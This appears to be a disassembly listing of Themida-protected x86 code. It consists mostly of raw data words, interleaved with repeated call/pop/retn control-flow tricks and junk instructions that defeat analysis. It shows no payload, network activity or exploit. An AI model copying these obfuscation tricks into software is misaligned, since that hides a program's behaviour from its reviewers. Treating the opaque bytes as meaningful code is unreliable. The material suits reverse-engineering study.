		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5BC3A5	endp

; ---------------------------------------------------------------------------
		db 0F3h, 44h, 21h
		dd 0F9CFED4Ah, 6AD5CFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0C8ECCBC3h, 0BD8B7CFDh, 6120019h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7CC35646h
		dd 98509FBh, 6606122Eh,	860FFE8Bh, 5, 42F78166h, 53006A6Fh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0EE8F54Ah, 5E000000h, 1555FA45h, 93B167FDh, 0B675D182h
		dd 0B585890Fh, 0E906121Ch, 11h,	0C5D26CFFh, 0DBED9E28h
		dd 7EED3E5h, 0C060914Eh, 6A5F5Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 45236EC3h, 0E9CA9F6Dh
		dd 5, 20DFB426h, 56006AA7h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0B92FFFF5h, 8B5757D6h
		dd 1227D5B5h, 850F5F06h, 16h, 11E9h, 0D2571900h, 0D7D2B64Eh
		dd 770C7F73h, 51CCB660h, 54E9A4EDh, 6AFFFFF8h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 23E1C353h, 122D7DB5h, 66C18B06h, 0A750F681h,	4EBh, 0BF0F0000h
		dd 52006AF2h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0AA398A34h, 908CC0B0h, 5810F67h,	66000000h
		dd 0E8E7DF81h, 12ED8589h, 858D0612h, 6120065h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 91C35343h, 423CC1B0h
		dd 459CCD2Dh, 32323EBFh, 0E9509027h, 12h, 0FC05A880h, 3AD4DEF8h
		dd 10D3E718h, 870CAF75h, 0F90C93Ah, 6AF6BFh, 17FDB589h
		dd 6A0612h, 17798D31h, 8B660612h, 0A9858DFEh, 6A06160Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 83B2C357h, 8B5105C0h, 50505EFAh, 60310F52h
		dd 5A616160h, 24048958h, 0CE9h,	0C2C2AD00h, 0FAB90B51h
		dd 505AD351h, 0F8006A7Dh, 6A006AF5h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 62B3C355h
		dd 8160CC7Dh, 33599FE2h, 95FF617Ah, 6120B55h, 9BCA9D8Dh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 43F9DBC3h, 670DE08Bh, 603689C1h, 4FB7E38Ah
		dd 0CDB58B61h, 0FF061200h, 0DF8166D3h, 85FF5CDEh, 6121235h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5AC35242h
		dd 8EC80718h, 0BF66578Bh, 0E95EC01Eh, 881h, 0E8h, 0ED815D00h
		dd 6160BB3h, 0AE8h, 60FAAE00h, 0B1254393h, 0BF9EB3C1h
		dd 4407E870h, 6040BF5Eh, 0BD81360Bh, 61207E5h, 7D0h, 141860Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0E1FB36C3h, 18E0Fh, 8BF50000h, 121E199Dh
		dd 6860F06h, 8B000000h,	1207FDB5h, 0E38106h, 81000001h
		dd 0DA7907EEh, 98D8921h, 0B06122Bh, 80850FDBh, 51000000h
		dd 1F559D31h, 835E0612h, 160A28BDh, 840F0006h, 50h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F5C35242h, 0DCD85F3Ah
		dd 8B665F56h, 7CE9F3h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 1E11E6C3h, 0B4607546h
		dd 615CB7FAh, 0A2885C7h, 10616h, 85890000h, 6122685h, 41E9h
		dd 358D8900h, 0C7061224h, 160A2885h, 6,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 556FBC5Bh, 0EC6D80A8h, 7E98CEAh, 80000000h, 17CC5CB7h
		dd 9D8D1107h, 6121E19h,	14E8h, 15E72A00h, 104F0CD7h, 0C75646B1h
		dd 87AC51FDh, 5FFB749Ah, 0E5806093h, 0A1958B96h, 61061234h
		dd 90BF665Eh, 0FF238124h, 66FFFFFEh, 6ADB8Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 8CA7CC3h
		dd 8F597D31h, 0F04C3F6h, 4684h,	0FFF88B00h, 120CA995h
		dd 0D7816606h, 0E9509F0Fh, 0Ch,	0D89853EEh, 6FC2E8FFh
		dd 54CF723Bh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 21ECC352h, 0E21F2C22h
		dd 0E9EBCEC0h, 416h, 198589h, 0B00612h,	28B0F60h, 60000000h
		dd 0F2BF0F61h, 0F70E661h, 71E4FAB7h, 6AD8B60Fh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0BA83C357h, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	76C35747h, 0F92AA598h, 0E8C1C38Bh, 52006A04h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 0E063341Bh, 8E975h, 69DF0000h, 4214F187h, 0F766D595h
		dd 51006AE2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 1DBD8B5Ah, 6606120Bh, 0D82BF18Bh, 0A42FBE66h
		dd 7E893h, 5C3E0000h, 0E22D6985h, 0F525076h, 0C3BE6631h
		dd 5E585A10h, 800F50h, 93000000h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 9FC35646h, 0AED16D4Fh, 0BF669B9Eh
		dd 0B5FF832Fh, 61207E5h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0EBC35646h, 90852DCAh, 8BB8F806h, 121471B5h
		dd 0D195FF06h, 0F9061229h, 6A00B0h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BF6676C3h
		dd 70E61AE4h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	0B6C35545h, 8CA6BA44h, 71E4463Eh, 830F613Ch, 28Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 4BC35141h
		dd 0A8904721h, 4201F8F5h, 6AD8B60Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0C1C6C356h
		dd 0EE989FAh, 3D000000h, 0CCC16018h, 0B2BA78CAh, 0C2A5C05Fh
		dd 6BA8Ah, 8BF80000h, 0CE9C3h, 75D60000h, 0C59AAE95h, 43C04D20h
		dd 0E8C16F00h, 8DB58B04h, 66061226h, 9529E2F7h,	6121281h
		dd 7E9D82Bh, 9C000000h,	28F70DF0h, 0BF58D4C0h, 59732EACh
		dd 880FD82Bh, 1EAh, 6E9h, 95E40900h, 8937C447h,	1215999Dh
		dd 7B906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 691097C3h, 6A00C183h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 31E0C356h, 0BD8BF5C5h, 61213C9h, 3BFA8B66h, 83860FD9h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0B653C355h, 66EA1E8Dh,	6AD98Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0A0B295C3h, 4C4677C2h, 0E9A788B7h, 0Ch, 0C18A4C4Bh
		dd 5D859856h, 0C1E0AF59h, 0F04C1F6h, 0FC84h, 0F19D8900h
		dd 0FF061208h, 120CA995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 37EF1784h
		dd 2CFC3964h, 0FDBD8BB1h, 29061207h, 1200498Dh,	6A5B06h
		dd 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0CE5A09C3h, 8D89601Dh
		dd 61229B5h, 1E3D8D03h,	0F5610612h, 6AC32Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 810F7FC3h
		dd 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+612043Dh]
		cmp	eax, 834h
		jbe	loc_5BCC69
		push	0
		push	ecx
		call	sub_5BCC18
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCC18	proc near		; CODE XREF: Themida_:005BCC10p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5BCC18	endp

; ---------------------------------------------------------------------------
		xor	[ebx-4Ch], edi
		rcr	byte ptr [ebp+30h], cl
		sub	ebx, [edx]
		and	[ebx], ecx
		mov	ch, 31h
		adc	dl, [edx]
		push	es
		jmp	loc_5BCC50
; ---------------------------------------------------------------------------
		retn	0D53Ch
; ---------------------------------------------------------------------------
		db 8
		dd 87F21A02h, 9690F530h, 3C593800h, 38E303Ah
; ---------------------------------------------------------------------------


loc_5BCC50:				; CODE XREF: Themida_:005BCC37j
		jmp	loc_5BCC8E
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_5BCC68
; ---------------------------------------------------------------------------
		fisub	dword ptr [esi-3Bh]
		db	64h
		xchg	eax, edi
		sbb	al, 4
		and	[edx+212B184h],	ecx


loc_5BCC68:				; CODE XREF: Themida_:005BCC56j
		pop	edi


loc_5BCC69:				; CODE XREF: Themida_:005BCC07j
		mov	eax, eax
		push	0
		push	eax
		call	sub_5BCC76
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCC76	proc near		; CODE XREF: Themida_:005BCC6Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5BCC76	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 75h
		dd 0BE464968h
		db 0AFh, 7Fh
; ---------------------------------------------------------------------------


loc_5BCC8E:				; CODE XREF: Themida_:loc_5BCC50j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	ecx
		call	sub_5BCC9D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCC9D	proc near		; CODE XREF: Themida_:005BCC95p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5BCC9D	endp

; ---------------------------------------------------------------------------
		dec	edi
		db	36h
		xchg	eax, edx
		jo	short loc_5BCCE3
		jnz	short loc_5BCCCA
		mov	dword ptr [ebp+6122D69h], 162E27F5h
		push	0
		push	eax
		call	sub_5BCCC9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCCC9	proc near		; CODE XREF: Themida_:005BCCC1p

arg_4		= dword	ptr  8

		pop	eax


loc_5BCCCA:				; CODE XREF: Themida_:005BCCB2j
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5BCCC9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5Ch,	0Fh, 89h
		dd 6
		db 81h,	0F6h, 27h
; ---------------------------------------------------------------------------


loc_5BCCE3:				; CODE XREF: Themida_:005BCCB0j
		test	[edx+4Fh], ch
		mov	esi, [ebp+61234A1h]
		mov	eax, eax
		cmc
		cmp	dword ptr [ebp+61207E5h], 7D0h
		jnz	loc_5BCD42
		mov	di, 6EF4h
		inc	dword ptr [ebp+61207E5h]
		push	0
		push	eax
		call	sub_5BCD14
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCD14	proc near		; CODE XREF: Themida_:005BCD0Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5BCD14	endp

; ---------------------------------------------------------------------------
		dd 3E0FA26Dh, 0BE8E7h, 6AA20000h, 26198D93h, 0E1FFA733h
		dd 0CDBD0966h, 5E061211h
; ---------------------------------------------------------------------------
		mov	edi, esi


loc_5BCD42:				; CODE XREF: Themida_:005BCCF9j
		push	dword ptr [ebp+61207E5h]
		push	0
		push	ebx
		call	sub_5BCD53
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCD53	proc near		; CODE XREF: Themida_:005BCD4Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5BCD53	endp

; ---------------------------------------------------------------------------
		das
		dec	ebx
		mov	ah, 0E2h
		aaa
		adc	dword ptr [ecx+48h], 0FFF80B19h
		xchg	eax, ebp
		shr	dword ptr [ecx], 1
		adc	al, [esi]
		push	0
		push	eax
		call	sub_5BCD7F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BCD7F	proc near		; CODE XREF: Themida_:005BCD77p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5BCD7F	endp

; ---------------------------------------------------------------------------
		db 78h
		dd 526206DAh, 0A7BF8EFDh, 9028F779h, 20018D89h,	6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 369DA8C3h, 0FA8B9950h, 0C643BE66h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0B5C35141h,	0BA4E2E8Eh, 2FBE8D28h
		dd 100794Eh, 121D6195h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0B58B527Fh, 6122C05h
		dd 0F065BE66h, 0DE9F18Bh, 87000000h, 0A7FF3D96h, 220DFDCBh
		dd 78B58020h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	88C35343h, 0D0783BDh, 0E8AE7CB4h, 9, 5E0FC248h
		dd 0BBFF2193h, 0A8F0F13h, 8B000000h, 122565BDh,	0B9BF6606h
		dd 7E943h, 0AD60000h, 0FAE0A264h, 0BE575FA2h, 7FCA68D3h
		dd 815FFA8Bh, 93D1EDEEh, 55006A2Ah, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0A2EB8B9Ch, 79BD2353h
		dd 5E061203h, 0FE68060h, 68F0Fh, 9D890000h, 61233F1h, 9DB58960h
		dd 6606121Fh, 5789EB81h, 61615857h, 0FFF7AFE9h,	56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 33E4FF84h, 0BE9FDh, 31BD0000h, 0B7515698h, 662F2F7h
		dd 6AC18B3Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0EA21C350h, 890FEFh, 0EB000000h
		dd 4, 840F6000h, 6, 10698D8Bh, 6A610612h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 18A3C350h
		dd 0BE9h, 61D95500h, 0AA76BF2Eh, 0E2A1CA07h, 65858Dh, 8B600612h
		dd 122939BDh, 61C18B06h, 3FBE6690h, 9CBE5064h, 9070F513h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B9C35646h
		dd 1F534381h, 8B66D143h, 0F5F7BFF3h, 6A280Bh, 68C0Fh, 0B5010000h
		dd 6121199h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0A4EEDEC3h, 0D18B6660h, 61CB8B66h
		dd 15E9858Dh, 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0ADC123C3h, 0BD8BC0FCh, 6121225h
		dd 0BF05C083h, 3BAA1155h, 50F08B90h, 58D0Fh, 35BE0000h
		dd 9013E438h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	3EC35040h, 28A0F60h, 52000000h,	2585895Bh, 6106120Bh
		dd 6AF28Bh, 6AFB8Bh, 0B5595FFh,	6A0612h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D8D48C3h
		dd 6159BCAh, 68C0Fh, 0BD8B0000h, 6122341h, 0AE9D3FFh, 0E7000000h
		dd 0B6837656h, 3E590AFDh, 3585FF89h, 51061212h,	6800Fh
		dd 0B58B0000h, 612239Dh, 9D85315Fh, 0E9061232h,	7A1h, 0E8h
		dd 0ED815D00h, 61615F3h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0B6C35242h, 0E05C2BF2h, 0A6DBD8F4h, 7E5BD81h
		dd 7D00612h, 860F0000h,	0E5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0DC35141h, 0A72F4D29h, 5F500A3Bh
		dd 2E498D89h, 9D8B0612h, 61214F5h, 3858501h, 0E3810612h
		dd 100h, 23D1BD8Bh, 0DB0B0612h,	56850Fh, 0BD830000h, 6161457h
		dd 11840F00h, 89000000h, 1222F18Dh, 4EE906h, 85890000h
		dd 61220D9h, 145785C7h,	10616h,	0BF0F0000h, 36E9F3h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0CB4BE4C3h, 66D3DE31h, 5FE7D781h, 145785C7h,	616h, 0BD8B0000h
		dd 6120095h, 14F59D8Dh,	6A0612h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 9CE115C3h, 0C5BD8B59h
		dd 8106121Fh, 0FFFEFF23h, 2ABF66FFh, 0DB8C66C0h, 1EDDB58Bh
		dd 0C3F60612h, 5A840F04h, 0FF000000h, 120CA995h, 0C880F06h
		dd 0F000000h, 683h, 860F00h, 50000000h,	0DE9h, 54CCCB00h
		dd 0A1049C96h, 0C710D554h, 4892647h, 51006A24h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 1BF32575h
		dd 29BD8BE5h, 81061218h, 0A427C8C6h, 42EE947h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 609708C3h, 0FCDE1096h, 840F1F6Bh, 0Bh, 800F60h, 66000000h
		dd 0B061F38Bh, 6A70E600h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0D042C355h,	8589F064h
		dd 61207BDh, 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0D79534C3h, 0EE98Ch, 64360000h
		dd 0DAB8F90Eh, 9AF38C6h, 0D17887EAh, 0E9D8B60Fh, 0Fh, 0ADD61F80h
		dd 9146B24Bh, 4B0DFCA8h, 0BA176C52h, 6,	4DBD8B51h, 5E06121Bh
		dd 0E8C1C38Bh, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0F7664968h, 96C781E2h
		dd 2B38FDD1h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 69B607E6h, 50B87838h, 12E9h, 73924B00h
		dd 2E260AC8h, 6ED4B76h,	0EC2EFC73h, 8936129Dh, 0E681241Ch
		dd 517654A8h, 7E5B5FFh,	860F0612h, 5, 18B3CBBFh, 0D195FF43h
		dd 6A061229h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0AD6EC356h, 0BB7B7E93h, 0AECAF2AFh
		dd 0F2B70F50h, 6A00B05Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 46AFC352h, 6AB16C34h
		dd 4E294C00h, 2BD68166h, 0B58B6042h, 61203C1h, 6E9h, 0E8B7AC00h
		dd 61A2FE4Ah, 9D8970E6h, 61225E1h, 6A71E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 737084C3h
		dd 3996ABA6h, 59B5292Eh, 0F06122Dh, 0C87h, 6820F00h, 0F000000h
		dd 89h,	0F613C00h, 23B83h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0CE99729h
		dd 0F5000000h, 0EDC9EEBDh, 88A98F8Ch, 0F9C3179h, 6AD8B6h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0A0F0D9C3h, 2348AB90h, 0BD890DFFh, 6121EF5h,	6BAh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 7DF66AD7h, 0D07D9EB8h, 23418D31h, 0C38B0612h, 8904E8C1h
		dd 121FC595h, 0E2F76606h, 75858957h, 5F06122Dh,	9D29D82Bh
		dd 61227C5h, 1FA9BD2Bh,	0BE580612h, 1600B6C1h, 880FD82Bh
		dd 180h, 0D0A5CF81h, 7B93FB5h, 0E8000000h, 7, 7AB77EB7h
		dd 0FC01BF0h, 0D89h, 8E900h, 54A90000h,	3A114A9Dh, 835FC9B3h
		dd 6A00C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 9464A4C3h, 17830F41h, 0E8000000h,	0Fh, 3EF7736Fh
		dd 2529D59Fh, 55AC9FFFh, 60E280F7h, 0D93B5F61h,	10E860Fh
		dd 0BD290000h, 61227E5h, 8BD98C66h, 121DF9BDh, 4C1F606h
		dd 0D2840Fh, 81660000h,	0FF3071CEh, 120CA995h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 3BB9AA08h, 0FB78C1D4h, 9BD2350h, 5E06122Bh, 99B5015Bh
		dd 8B061212h, 121725B5h, 6AC32B06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0E4B5C353h
		dd 5F116971h, 8343DE9h,	860F0000h, 60h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 0EFC35242h, 781EABEEh
		dd 9E9C7AEh, 49000000h,	0D5ECA69Ah, 811F61F8h, 4FE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0A839F8BDh, 0BE669CD4h, 0B58B1FA6h, 6122BD9h, 6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 9D893EC3h, 612146Dh,	0D88BC38Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 97C35545h, 0DBCF5F87h, 8B5E5B1Fh
		dd 1220D1BDh, 1985C706h, 7F06121Eh, 667EBDFBh, 1E03D681h
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0A03FE6C3h, 994A9509h, 17359D09h,	0BD810612h
		dd 61207E5h, 7D0h, 43850Fh, 95890000h, 61208BDh, 7E585FFh
		dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0AB8536C3h, 0B58BFBEFh, 6122319h,	58D0Fh
		dd 38BF0000h, 29507726h, 1207BDB5h, 0E5B5FF06h,	0F9061207h
		dd 29D195FFh, 2BBE0612h, 90428A26h, 9E8h, 41841A00h, 0BA479BFFh
		dd 8B6691C7h, 9E9F7h, 0ABAE0000h, 4159175Eh, 5E4F09FAh
		dd 38F0F60h, 0B3000000h, 0B58BF824h, 6122D6Dh, 24698D23h
		dd 66610612h, 9C75D681h, 263D8D89h, 0BD8B0612h,	61202B5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F6C35242h
		dd 8BFA8B66h, 1224C9B5h, 359D8906h, 89061224h, 12285995h
		dd 69853106h, 60061213h, 0BBDC8A52h, 39F48BFFh,	0B3D7815Eh
		dd 0B72E736Bh, 6E9616Fh, 83000000h, 0AE5A08Bh, 55006A51h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 7A594E5Fh, 6AC22402h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0BEDFC350h,	0A7B98E06h
		dd 14E86055h, 2F000000h, 99B2A489h, 0C9D7486Fh,	37484FD4h
		dd 231C84C7h, 53446B73h, 0B70F5E5Ah, 0F88B66F7h, 0F866E961h
		dd 29F9FFFFh, 1229418Dh, 89C18B06h, 12156195h, 4EB06h
		dd 66000000h, 8B0BEBBFh, 120B79B5h, 65858D06h, 66061200h
		dd 0BF50F08Bh, 4E3873B1h, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 6E7AC355h
		dd 0A396059Ah, 66535EA3h, 6A5FF38Bh, 99958900h,	6A061221h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 1FB37044h, 6DB58BE3h, 8D06121Bh,	161F1185h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0C08306B3h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0C7C7902Ch
		dd 8D294814h, 612328Dh,	0F78B6650h, 6A240489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0F884C351h, 76F38A16h, 0C2231D46h, 197DB58Bh, 81660612h
		dd 6A65D1F6h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0BF660369h, 6AC13Bh, 735B58Bh, 95FF0612h
		dd 6120B55h, 0DC5C681h,	9D8D3C12h, 6159BCAh, 8BFABF0Fh
		dd 122395B5h, 6AD3FF06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 1892C356h, 2297FACFh
		dd 667D5512h, 0D1A4C781h, 123585FFh, 7BE0612h, 0E97B7A06h
		dd 7F8h, 0E8h, 0ED815D00h, 6161F1Bh, 0E5BD81F5h, 0D0061207h
		dd 0F000007h, 12986h, 0DD9D8B00h, 81061213h, 100E3h, 0FDB0B00h
		dd 0AB85h, 3DB58B00h, 83061217h, 161D99BDh, 840F0006h
		dd 57h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h
		dd 5EC35747h, 0A5E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0B917BEFEh, 0E899F6AEh
		dd 8, 0CC78DC19h, 0AF5FA7D3h, 16DD8589h, 0C75F0612h, 161D9985h
		dd 106h, 78C78100h, 661747B9h, 57E9FA8Bh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0B4D8C357h, 0C1D73059h, 9589E219h, 6120EF5h,	1D9985C7h
		dd 616h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1C0424h, 53430000h, 0A20487C3h, 9482BC40h, 9D8D3F17h
		dd 61213DDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0DDC35343h, 0F8E51ECEh,	0F7BF0F91h, 2A3DB589h
		dd 23810612h, 0FFFFFEFFh, 25A9B58Bh, 8C660612h,	56006ADBh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0F6082C05h, 840F04C3h, 5Fh, 2D5CBE53h, 0BE5F78D9h, 5629CF22h
		dd 0CA995FFh, 0BD2B0612h, 6121531h, 0FE8B5090h,	55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 3374D2D5h, 4B64B98Dh, 0ECC8BF4Bh, 6E808B2h, 4A000000h
		dd 688C385Dh, 8E9F6h, 0D8F10000h, 0F504B02Eh, 0E95F363Ch
		dd 3F2h, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 170424h, 55450000h, 46E715C3h, 0F1BD29BCh, 0E6061214h
		dd 25B52370h, 0E406120Bh, 0D8B60F71h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 88C35646h, 3544F7C9h, 600CFAC2h
		dd 6BAF5h, 8BF90000h, 31B58BC3h, 29061215h, 1216EDBDh
		dd 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0EEC35242h, 0C0843B09h,	8B07D810h, 0E2F766F1h
		dd 26B91CBEh, 6AD82B33h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 8F69C350h, 0E6F6A5ACh
		dd 5306CD9Fh, 692BBF66h, 2880F50h, 8B000000h, 241C89FBh
